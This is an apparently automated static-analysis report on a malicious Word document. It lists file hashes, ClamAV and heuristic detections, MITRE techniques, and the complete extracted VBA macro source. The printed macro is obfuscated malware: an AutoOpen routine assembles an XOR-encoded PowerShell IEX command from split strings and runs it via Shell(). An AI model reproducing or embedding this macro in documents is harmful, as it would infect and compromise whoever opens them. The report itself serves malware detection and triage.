Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 bf7c59ed8e403ad5…

MALICIOUS

Office (OLE)

105.2 KB Created: 2018-06-21 12:06:00 Authoring application: Microsoft Office Word First seen: 2018-07-04
MD5: b9194de709e7989f8ab5d38040f1a658 SHA-1: 859c5fac34815f8c15c116fdcf8dd2db734b14bf SHA-256: bf7c59ed8e403ad53e69144a147a81412d73d1c5207742e81dbca794b0cb4da2
212 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing a VBA macro. The macro uses string concatenation to construct a command that appears to be an attempt to execute PowerShell via IEX. The AutoOpen macro and Shell() call firings indicate the macro is designed to run automatically and execute arbitrary code. The obfuscated nature of the script and the use of string concatenation suggest an attempt to evade detection.

Heuristics 8

  • ClamAV: Doc.Malware.Valyria-6797998-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Valyria-6797998-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
    Matched line in script
    Next
aGvqudoOiA = OfOXFjIN + Shell(phohYnjHNMz + ctJfkGUCl + asCmNopd, 27724 - 27724)
For Each SaiZX In WVSFjp
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Function
Sub AutoOpen()
On Error Resume Next
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 17358 bytes
SHA-256: 80b754a96fbcd0b16e4bf61683e38bcbc7f44536858da66ac68c7cebe56c864d
Detection
ClamAV: No threats found
Obfuscation or payload: likely
215 of 350 identifiers look randomly generated (e.g. 'JAcFDvavqOm') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "KEEibrmckjQiP"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "KlbsIzDzno"
Function KQwHrkTIVY()
On Error Resume Next
For Each sZtXMk In wVCRsq
wqJRw = (JMXzM * 90041 + 60024 * CInt(ADqYa - CDbl(63204)) * 52220 * Oct(89350))
YanviL = zBhcTD = FYjjj
uKRFZ = 95972 + Atn(34607) / 22880 / Round(87179) / 34626 / CInt(iDNlr)
Next
MtrpXlk = "OwerSHe" + "ll IEX(" + "[Str" + "ing]::jOin"
For Each baBsB In NCwwi
zrAvsj = (IiVkt * 36779 + 8006 * CInt(XtPqjO - CDbl(26510)) * 15981 * Oct(11652))
JswECb = jbtaJ = LiXjcF
HZzcpJ = 66889 + Atn(11250) / 98229 / Round(43234) / 72388 / CInt(uQiqOD)
Next
WoUni = "( '',((50 , 10" + "3, 124 ,121," + "67 ," + "68 ,120,5" + "4 , 43, " + "54, "
For Each ujJrKI In FDMLi
CQXkvW = (tsvkE * 15907 + 83521 * CInt(XdnIf - CDbl(92929)) * 21158 * Oct(11826))
hnTbDf = nrAjdt = usomBn
mBRwi = 50691 + Atn(47414) / 5884 / Round(99166) / 78960 / CInt(KZCICn)
Next
pnjfU = "120,115 , 97 ," + "59,121, 116 , 1" + "24 ,115 , 1" + "17,9" + "8,5" + "4 , 10"
For Each NCzNIL In iftQqJ
SYulC = (UEUksL * 77433 + 37473 * CInt(vmpBw - CDbl(77710)) * 72369 * Oct(54798))
tFMEv = mJfisA = XAKVI
MVwWSJ = 68554 + Atn(12659) / 51022 / Round(78751) / 24181 / CInt(jvVrw)
Next
wiROvT = "0 , 1" + "19, 1" + "20,114, 12" + "1 ,123, 45,5"
For Each QJpzi In FbTnPp
bfEPEz = (uuLYMU * 36613 + 26965 * CInt(EmfDt - CDbl(10010)) * 98238 * Oct(85597))
mRRqq = rkwlpc = QuNWVw
lOMrQ = 28095 + Atn(2541) / 68193 / Round(73801) / 93860 / CInt(jLASf)
Next
PRLwqGuaw = "0,99, 69," + " 79, 8" + "1, 82,54" + " , 43 , 54,12" + "0,11"
For Each DEPhb In hYiYV
pXjAci = (Eaabu * 14878 + 96922 * CInt(OIRjw - CDbl(27076)) * 92546 * Oct(37384))
iiJsi = hpfzw = mfjWu
rccVad = 39974 + Atn(36997) / 31957 / Round(34138) / 85809 / CInt(XtDSS)
Next
jiAFRPz = "5,97 , 59, " + "121," + "116,124,115," + " 117 , 98" + ", 5" + "4, 69,1" + "11,10" + "1,98, 11"
For Each UfaHtl In KBbcc
JDmErp = (IjXLB * 29793 + 94918 * CInt(ZDVUN - CDbl(78899)) * 3397 * Oct(28808))
jiqGP = srnjiT = pMcFln
OFioH = 70076 + Atn(97513) / 12655 / Round(14132) / 30165 / CInt(IolUIw)
Next
luJmFwbH = "5 , 123 ," + " 56,88 ,1" + "15, 98 , 5" + "6, 65, 115" + ", 116 , 8" + "5, " + "12" + "2 "
KQwHrkTIVY = MtrpXlk + WoUni + pnjfU + wiROvT + PRLwqGuaw + jiAFRPz + luJmFwbH
End Function
Function fYDPD()
On Error Resume Next
For Each sFiUN In OooOIr
DOHmi = (Bzfcm * 68993 + 46549 * CInt(aizUEd - CDbl(97003)) * 87439 * Oct(65449))
urwZSv = zPIpth = qEzHMc
kpooJp = 87767 + Atn(8594) / 26930 / Round(17630) / 18712 / CInt(drmGcj)
Next
oEXVswSAR = ",127" + ",115 ,120,98" + " , 45" + ", 50,6" + "7 ,123"
For Each roUQBj In Aizjqj
kKBJl = (GrtBw * 61567 + 26421 * CInt(HDwVb - CDbl(56166)) * 71180 * Oct(8182))
ZnHNo = EhSdb = hkwqXd
uSRVS = 85776 + Atn(86692) / 51005 / Round(3513) / 22807 / CInt(DUjuc)
Next
KLBpf = ",9" + "9 , 112" + ", " + "71, 5" + "4 ,"
For Each ivRbp In jCmKZ
BiDzk = (wISoU * 91947 + 78809 * CInt(VDZGM - CDbl(74823)) * 16271 * Oct(51083))
cLZFw = SjhTHA = LDjWzT
paVmm = 98140 + Atn(55348) / 55798 / Round(60880) / 95802 / CInt(KbSboK)
Next
Avzoh = "43," + " 5" + "4 , 49 , 126 , " + "98, 98 ,102," + "44 " + ", 57 ,57, 98,11"
For Each wXAIm In hCosWX
poXWBp = (TzIpAk * 62259 + 94634 * CInt(OkOZT - CDbl(98955)) * 92964 * Oct(5410))
ntFjKk = IHzVD = ZwXkwP
HCwkd = 49115 + Atn(14876) / 14456 / Round(95822) / 43751 / CInt(sUpOwh)
Next
PwzJQRvc = "0 , 12" + "4, 113," + " 119," + " 97, 116 ," + "123 , 5" + "6," + " 117,1"
For Each oXirci In VSKQBi
jrZlz = (GldzK * 71315 + 15220 * CInt(jGLCqA - CDbl(19085)) * 84548 * Oct(54705))
aNIIG = rwnoLc = dzMdD
jhrazl = 23432 + Atn(99160) / 27556 / Round(20948) / 66066 / CInt(pPJKjM)
Next
LUEhT = "21 ,123 , 57 " + ",68,122 , 1" + "14, 94 , " + "35 ,"
fYDPD = oEXVswSAR + KLBpf + Avzoh + PwzJQRvc + LUEhT
End Function
Function zVMCZXrS()
On Error Resume Next
For Each ijHOzS In GqiCd
Gzsij = (KWuzcl * 10433 + 96181 * CInt(NHSPA - CDbl(61983)) * 47854 * Oct(27249))
StHffW = LhLkr = abwBa
ifcrUv = 86010 + Atn(67060) / 30310 / Round(74518) / 56913 / CInt(hjQPpi)
Next
inVGq = " 113,110 ," + "57 ,86, " + "126 , 98 ,98" + ",102 ,44, 57" + " ,5" + "7 ,97, 97" + " , 97, 56 ," + "101, 9"
For Each rYjREu In irjrS
FpfwqB = (jmnBYD * 39469 + 5024 * CInt(FKlSW - CDbl(66925)) * 21326 * Oct(5636))
XzHRB = YTiks = UZnsv
lisBZ = 21321 + Atn(43938) / 72604 / Round(43165) / 11506 / CInt(cXici)
Next
TmsQZo = "8, 121 ,1" + "22,11" + "2 ,119 ," + " 117, 98 , 121" + " ,100,111 " + ",59, 115 ,10" + "0,119 ,56, 1" + "00,99" + " , 57 ,125 , 12"
For Each EfSll In FYjKDl
zaadZY = (WYwuP * 60740 + 35159 * CInt(CNObl - CDbl(13593)) * 68115 * Oct(24016))
TABmcq = TAlIa = tEDMv
jYVFKm = 43078 + Atn(41517) / 91613 / Round(53614) / 99487 / CInt(ONzJZX)
Next
iwOfLhBf = "7,121," + " 37 " + ",122 ,122" + " , 35 , 121, " + "98,57, 8" + "6 ,126 ,98 "
For Each uivbPt In sAUKY
LDdEw = (qAGUFr * 1526 + 15043 * CInt(NEjijd - CDbl(2682)) * 95747 * Oct(77282))
GLAtWA = DbSLks = fjioN
kOmQiv = 72082 + Atn(60220) / 83039 / Round(89942) / 19172 / CInt(oIsip)
Next
GrUlCXSd = ", 98," + "102," + "44,57 , 57, 97" + ", 97, 97" + ", 56 ,116 ," + " 122" + " ,99, 1"
For Each jTTnZ In icMXzA
NkwMrZ = (PaPGMj * 16265 + 10361 * CInt(kTwrbE - CDbl(88695)) * 42336 * Oct(93752))
wiBjNf = zwVqvA = FrJEN
tjdhbE = 6430 + Atn(17514) / 39256 / Round(16896) / 80654 / CInt(QCcBNr)
Next
SNIJNcvck = "15 , 101" + " ,97,56 , " + "120 , 115, 98" + " , 57, 64 , 92" + ", 39,39 ,39," + "117 , 71 " + ",36,32 , " + "57,86,1"
For Each aVhLj In pSmlj
pIWvPF = (HIchi * 77007 + 60900 * CInt(izjDi - CDbl(34739)) * 4923 * Oct(74950))
MVtcm = QXkNAT = HMwsjs
nCXEqK = 40101 + Atn(12291) / 64623 / Round(9480) / 55769 / CInt(VRjuLs)
Next
MkiZXFUaQv = "26, 98 ,98 , 10" + "2 ,44 , " + "57 ,57" + ",123,12" + "7 , 120,1"
For Each WLKta In ukpTHm
JoRJzp = (cRJqfk * 24521 + 96941 * CInt(YSlAOV - CDbl(73612)) * 56674 * Oct(17028))
YwZima = udjzZ = WGsFBU
pSvIR = 2487 + Atn(42327) / 72184 / Round(38082) / 76608 / CInt(nAAQp)
Next
RHOCVliX = "19, 123 , 1" + "27,56,117,121" + " ,123 , " + "56 ,98 , 9" + "7 , 57 ,46,11" + "1 , 85 ,10" + "1, 117 ,36 ," + "57,86 ," + " 126 ,98" + ", 98, 10"
For Each mXPNq In RcwVOu
QkJuH = (ARNlE * 64104 + 51555 * CInt(iMZwFQ - CDbl(81192)) * 36298 * Oct(59097))
Azjif = fHrwX = iFsLo
ZlKfPt = 75643 + Atn(32576) / 49414 / Round(48648) / 16673 / CInt(fzFEuI)
Next
XBUYj = "2,44, 57,57,121" + " , 113," + "121," + " 101 ,122,12"
For Each WmuFz In cSMhTD
cEtstV = (pqOtGw * 26749 + 36040 * CInt(MZLko - CDbl(35782)) * 98421 * Oct(58627))
Npmbbj = VNBaD = LZYjf
BzwcJ = 86526 + Atn(99088) / 15158 / Round(15332) / 36387 / CInt(JFPMf)
Next
iBIAXzv = "1 ,120,56" + ",117,121 " + ",123," + " 56" + " , 99, 119 , 57" + ", 78" + " ,97" + " ,101 ,117 ," + " 101,93,88,36," + "69 "
For Each zOPimk In MsVzOm
Inbcj = (Ncibb * 96746 + 5490 * CInt(rUozf - CDbl(87937)) * 50982 * Oct(33163))
tOONP = XztVG = WimfQR
joDoh = 55482 + Atn(39693) / 44504 / Round(62958) / 42 / CInt(smrXhO)
Next
NWRDhvVha = ", 90 , 57 ,4" + "9,56 , 69, 102," + " 122" + ", 127 ,98 ," + "62 ,49, 86" + ", 49 ," + "63,45 ,50 ,1"
zVMCZXrS = inVGq + TmsQZo + iwOfLhBf + GrUlCXSd + SNIJNcvck + MkiZXFUaQv + RHOCVliX + XBUYj + iBIAXzv + NWRDhvVha
End Function
Function WuRHGdC()
On Error Resume Next
For Each CzKKc In cwLVqC
PbFkb = (ajkuuq * 99164 + 19414 * CInt(UFwwYN - CDbl(26020)) * 38374 * Oct(18825))
LVLlR = jijTQj = wrnlS
QTcYz = 54363 + Atn(11596) / 44719 / Round(87957) / 57899 / CInt(BHvOP)
Next
SqiaaJGqEa = "21 , " + "89,76 ," + "124,65,79,54 ," + "43" + ",54 ,50" + " , 103,124," + "121 , " + "67, 68 ,120" + ", "
For Each OvSwN In TqMnw
EkcvQ = (CjzMIL * 53120 + 74905 * CInt(aRIks - CDbl(62574)) * 44436 * Oct(48607))
zGCHJh = oHUotd = qCMjX
mHUbM = 87228 + Atn(46873) / 6666 / Round(6868) / 10696 / CInt(hLnwK)
Next
qGjTUYCCWp = "56, 120" + ",1" + "15,110 ,98 , 62" + ",39" + " , 58,54 ,34,"
For Each uaPYUD In wGzLR
jAzWCs = (bvPJjk * 4535 + 97999 * CInt(ipKjL - CDbl(33741)) * 10853 * Oct(16188))
SDNcFw = lVZVi = lEXPzK
pjBHq = 46495 + Atn(14904) / 2324 / Round(71299) / 43148 / CInt(uqtko)
Next
AtuvalQov = "46,32,47" + ", 35,47 ,6" + "3, 45 , 50 ,6" + "4," + " 124 ,64, 82 " + ", 89, 100 , " + "54 ,43," + " 54 , " + "50 ," + "115,120"
For Each wpTww In ddYuE
JvSuC = (iCFmho * 22445 + 882 * CInt(KaruAP - CDbl(97745)) * 33311 * Oct(18770))
JqUYiS = Dubawz = FCmSMI
kzPSCh = 99396 + Atn(6545) / 82476 / Round(20046) / 58411 / CInt(DtzNd)
Next
GlOrWoIY = " , 96, 44 , 98 " + ", 115 , 123 ,10" + "2,54, 6" + "1, 54 ,49 , 7" + "4, 49, 54,61 " + ", 54,50 " + ",12" + "1 ,89, 76,12"
For Each UDkQYY In aCpwc
FBMYtF = (bkiAE * 33474 + 93021 * CInt(wvIoIr - CDbl(85108)) * 9652 * Oct(88371))
ZrEci = ENiZG = UEIXAj
kMHcZ = 58162 + Atn(14754) / 63534 / Round(19490) / 39315 / CInt(MwSETN)
Next
tiAMs = "4 ," + "65,79 , 54, " + "61 ,54, 49, " + "56 ,115 ,110 ,1" + "15, 4" + "9 ,45, 112,1" + "21,"
For Each zFTvq In WhFaDj
rIfJHR = (iwWdu * 87443 + 80802 * CInt(KYQku - CDbl(42961)) * 2055 * Oct(57045))
pWUFs = hddjz = QJwBw
BiqAw = 93959 + Atn(19954) / 43911 / Round(63028) / 19257 / CInt(lOqfa)
Next
kqqJN = " 100 , 115, 11" + "9 ,117, 126 , " + "62 ,50 " + ", 98 , 95,83 ," + "67 ,103 ,99 ," + " 54" + ",127 , 120 ," + " 54,50,67 ,1" + "23 ,99"
WuRHGdC = SqiaaJGqEa + qGjTUYCCWp + AtuvalQov + GlOrWoIY + tiAMs + kqqJN
End Function
Function JAcFDvavqOm()
On Error Resume Next
For Each kzJmZ In AQJsIu
Tivzz = (PoZXuV * 84834 + 44627 * CInt(sVHZq - CDbl(79887)) * 23250 * Oct(8164))
kbtpkn = BcRqk = OqkLfK
PRhSqY = 76980 + Atn(72126) / 68433 / Round(7774) / 49416 / CInt(iHPXB)
Next
lLKjt = " , 11" + "2 ,71,6" + "3, 109," + " 98, 100 ,1" + "11 , 109 , 5"
For Each EmTts In jZCGRo
KBiZTu = (zMzSSY * 84314 + 67373 * CInt(izSil - CDbl(52645)) * 46116 * Oct(13086))
YGlQV = UuYPGA = wcaZrn
aUizS = 39342 + Atn(13722) / 97675 / Round(11325) / 87475 / CInt(dXDuoo)
Next
ZXAwfCnP = "0 ,99, 69," + " 79 ,8" + "1, 82 ,56 ,82," + " 121 "
For Each rRwXzc In GBDpHL
kGvEXo = (AaVpfj * 55810 + 55685 * CInt(BolrAW - CDbl(4824)) * 6732 * Oct(39099))
UMTDJ = hztRIq = Akqrc
UvzdXC = 1653 + Atn(42231) / 39559 / Round(67575) / 26807 / CInt(rkRTl)
Next
NofTVVawsmZ = ", 97 ,120" + ",12" + "2 , 121" + ",119 ," + " 114,80 ," + "127 ,122 , 115" + " , 62, 50 "
For Each WMrzhj In VLXlG
iaVAK = (jwBIb * 25282 + 30703 * CInt(NQFzhz - CDbl(17679)) * 40495 * Oct(31348))
WNPRBq = kNZjdW = GwBlVD
kREwE = 10842 + Atn(46014) / 7111 / Round(13443) / 1599 / CInt(JddzF)
Next
zwijZUvwaDh = ",98 ," + " 95, " + "83 ,67,103 , 9" + "9,56,66"
For Each uKfrz In vjtVtj
XzMclw = (TzlFh * 13465 + 46718 * CInt(TsGJsi - CDbl(83080)) * 20668 * Oct(46417))
laIOK = iUIcJw = rBtzz
ZKsSV = 31011 + Atn(2570) / 29372 / Round(69524) / 81961 / CInt(jpoEA)
Next
sCwKnPnMGso = ", " + "121 ,69, " + "98, 100" + " ,"
For Each CEmBa In wvQWq
Iwjul = (NtInwJ * 39719 + 89350 * CInt(swUIzr - CDbl(61271)) * 83979 * Oct(89739))
YzztX = tKAcr = mDqqHM
Gcjjj = 11206 + Atn(98265) / 91786 / Round(28177) / 86791 / CInt(cHojN)
Next
UmzTW = "127 ,120,113,6" + "2,63,58, 54 , 5" + "0 , 64 ,124,6" + "4,82, 89,100 , " + "63,45 ,"
For Each QzlhEz In SlLJQ
GkScn = (rSOnYJ * 58774 + 33629 * CInt(zksDqr - CDbl(51025)) * 14416 * Oct(53351))
BdMNzu = iwmmJi = AVjBL
YahqS = 2425 + Atn(37238) / 11757 / Round(50469) / 50471 / CInt(crvmFf)
Next
IiChz = " 69 , " + "98, 1" + "19, " + "100, "
For Each Qtiih In qqFsDV
YvOIb = (VvwajE * 43551 + 11304 * CInt(SjOuq - CDbl(52209)) * 71152 * Oct(34391))
tsCAcv = CEOHhc = KJJJUT
aLZjYW = 57158 + Atn(15970) / 60383 / Round(69732) / 76200 / CInt(kPitVT)
Next
lSYfFpnP = "98 " + ",59, 70, " + "100,121 " + ", " + "117 ,115" + ",1"
For Each zjzHw In pwDljR
wiThc = (DYzuZ * 58803 + 38691 * CInt(sXbQn - CDbl(81536)) * 38511 * Oct(38257))
aDbDj = aWwSXf = vBQCP
BladiZ = 94803 + Atn(48347) / 53096 / Round(40865) / 87195 / CInt(wiMsiB)
Next
nslsLB = "01 , 101 " + ", 54 , " + "50, 64, 124, 6" + "4 , 82 ,89 " + ", 100, 45 ," + " 116,100,11"
JAcFDvavqOm = lLKjt + ZXAwfCnP + NofTVVawsmZ + zwijZUvwaDh + sCwKnPnMGso + UmzTW + IiChz + lSYfFpnP + nslsLB
End Function
Function bnENhtOotQH()
On Error Resume Next
For Each UwXXa In wXmba
larShA = (zdlBw * 3278 + 10217 * CInt(bAtDWO - CDbl(73545)) * 91103 * Oct(57794))
OzRhBK = AVIAEM = sEEmiz
VVUVX = 87548 + Atn(47163) / 8017 / Round(70552) / 97773 / CInt(NoSAIP)
Next
iGVpnwizjCI = "5,119,125, 4" + "5, 107 , 1" + "17, 119" + ", 98 , 11" + "7,126 " + ",109 ,97,1"
For Each bDzjzr In nOKSK
MjFsiz = (iQZwl * 18109 + 40797 * CInt(YMsvoK - CDbl(14076)) * 87824 * Oct(52213))
YcwjfO = awSjia = LDzKi
unWjP = 3659 + Atn(35291) / 42997 / Round(41914) / 79489 / CInt(niCFU)
Next
XqqfGo = "00, 127,98 ,11" + "5 , 59,126 ,12" + "1, 101," + "98, 5" + "4 ,50,73,56," + " 83, 110 , 117," + " 115,1" + "02,98 ,127 ," + " 121 , 120,5" + "6 ,91 ,115, "
For Each ulKKK In CJplV
kMwPZu = (GSUdvP * 8657 + 18579 * CInt(tEXQq - CDbl(81480)) * 6247 * Oct(47446))
qkdTW = Pwllc = XEHUN
ZIPvGA = 80153 + Atn(31594) / 71157 / Round(26825) / 9261 / CInt(uJYvjK)
Next
liQQvXIL = "101,10" + "1,119,11" + "3 ,115,45, 107" + " ,107 " + ")|%{[chAR] ($_" + "-BXO" + "R '0"
For Each nwuNw In ThEVAQ
dvdQEv = (cdFoCr * 84499 + 82134 * CInt(kcUwN - CDbl(49837)) * 97683 * Oct(59786))
QRmTlu = zJQzjH = ojfKqG
HlcOU = 87086 + Atn(61326) / 37636 / Round(65980) / 6560 / CInt(wVoirI)
Next
NiWWNwzoUK = "x1" + "6')})) " + ")"
bnENhtOotQH = iGVpnwizjCI + XqqfGo + liQQvXIL + NiWWNwzoUK
End Function


Attribute VB_Name = "mfwhDbJzaI"
Function rJHCzsTU()
On Error Resume Next
For Each EphWaM In cWclUY
StIFU = 92996 + Atn(40657) / 47888 / Round(55466) / 12298 / CInt(Scwnk)
YtFaaZ = (IAXLI * 35914 + 80011 * CInt(CjPww - CDbl(44673)) * 4336 * Oct(50674))
cnpLCJ = dIZDPu = hoavpJ
Next
For Each Gqdhz In mGIjiH
UZEJqi = 77282 + Atn(5419) / 94353 / Round(72686) / 25167 / CInt(mqtJHW)
bMQQJ = (jGiNYE * 60372 + 37564 * CInt(zRBuEY - CDbl(80171)) * 98685 * Oct(61789))
SAWzMQ = RHiJCM = sEwXdE
Next
For Each mnXoXu In MBAcS
Nvacf = 28557 + Atn(4660) / 10421 / Round(75612) / 32174 / CInt(INBqka)
bCwbR = (VlwOKt * 93628 + 35293 * CInt(wzuoBj - CDbl(35799)) * 78665 * Oct(93324))
hPlRmC = TrJjs = rRALn
Next
For Each TLMpZF In qFhCX
bOIWE = 17072 + Atn(38634) / 29501 / Round(11591) / 91590 / CInt(jcCEKS)
UiQip = (mGCkz * 64303 + 5800 * CInt(AWqbH - CDbl(82265)) * 32323 * Oct(84440))
MYWVSo = VCPQV = wSBdnd
Next
For Each URtOuR In fWZXZd
zniGn = 91115 + Atn(62999) / 29507 / Round(81507) / 70613 / CInt(aDndZQ)
maAzP = (QJUtPG * 67194 + 62736 * CInt(bsIisT - CDbl(24647)) * 44507 * Oct(24603))
qjYmu = jSdwBC = uTUKw
Next
End Function
Function zWdWaQaJ()
On Error Resume Next
For Each XaBioF In rYlNPY
HKNtKH = 84198 + Atn(24515) / 92900 / Round(44480) / 89106 / CInt(wjiHp)
QXNjH = (lqOcqh * 89343 + 43791 * CInt(OiVCbm - CDbl(42710)) * 96520 * Oct(32937))
dWwWvC = MZJjaw = mHjMZ
Next
YHikKWjic = JrlCNMf + Chr(mZzrkoERGwm + 80 + qQOLtT)
For Each SaPVU In RohDQ
iQBES = 96386 + Atn(17581) / 18974 / Round(32428) / 30838 / CInt(CtQZwG)
FKYYs = (JCMoK * 26735 + 31119 * CInt(PHiQn - CDbl(60521)) * 34985 * Oct(23638))
wclpzc = aowbR = AXoLzm
Next
For Each JaqNWR In lfHHbc
iEwFP = 25396 + Atn(22469) / 64680 / Round(63156) / 87477 / CInt(tTmwpq)
fEOiah = (BTMJY * 22249 + 48555 * CInt(Taaii - CDbl(77825)) * 23092 * Oct(34570))
tkQjT = CpnDW = BrVZFH
Next
zWdWaQaJ = rTjdGwH + YHikKWjic + KQwHrkTIVY + fYDPD + zVMCZXrS + WuRHGdC + JAcFDvavqOm + bnENhtOotQH
For Each qiRJU In ICiRjE
nYrzzf = 26275 + Atn(63800) / 47911 / Round(948) / 29105 / CInt(PTbhj)
djEnM = (iBTHTV * 91716 + 87345 * CInt(CDDBf - CDbl(16337)) * 27134 * Oct(48626))
UkNzMi = wckQMO = mtLPXb
Next
End Function
Function pmFUX(ctJfkGUCl)
On Error Resume Next
For Each pNVtLc In nFRITs
qbaso = 50042 + Atn(14666) / 94743 / Round(78287) / 34299 / CInt(kOmwI)
wrjLWz = (zjRDk * 3448 + 9729 * CInt(fKLfbi - CDbl(26900)) * 55685 * Oct(89421))
OALav = FHYJY = QLhbpj
Next
For Each AYkswc In vastAw
RhmOWQ = 84515 + Atn(53950) / 93842 / Round(32074) / 47337 / CInt(lNMnqK)
shZEmn = (XAobQ * 80282 + 29733 * CInt(KARDh - CDbl(51516)) * 32677 * Oct(91974))
rwzwN = NzqSQC = hMUsdY
Next
aGvqudoOiA = OfOXFjIN + Shell(phohYnjHNMz + ctJfkGUCl + asCmNopd, 27724 - 27724)
For Each SaiZX In WVSFjp
dzdJFt = 95524 + Atn(63068) / 10529 / Round(13515) / 57585 / CInt(dGBwTZ)
sztJMj = (wplAZt * 79640 + 32776 * CInt(VYdiTF - CDbl(41867)) * 75862 * Oct(15586))
PAvZW = bbimU = bHkNd
Next
End Function
Sub AutoOpen()
On Error Resume Next
For Each QPmwS In iHSzV
dVKWtR = 35974 + Atn(65807) / 75213 / Round(89907) / 31541 / CInt(SGaCU)
GcjJIl = (vBbpI * 39635 + 94788 * CInt(INAinK - CDbl(22334)) * 24107 * Oct(49313))
BKCamf = jJXJww = KOizoZ
Next
Application.Run nHrVSdNVX + "pmFUX" + zhDzsRORHwj, RDAom + zWdWaQaJ + ksrTjN
For Each wGYLZ In LRHTZj
pwtWn = 39693 + Atn(69465) / 27960 / Round(44032) / 50895 / CInt(jHFuVt)
XAMXp = (EtNQBW * 55442 + 86762 * CInt(dmjLJl - CDbl(85973)) * 37090 * Oct(10677))
vXKbK = IGjsHG = lKQVip
Next
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.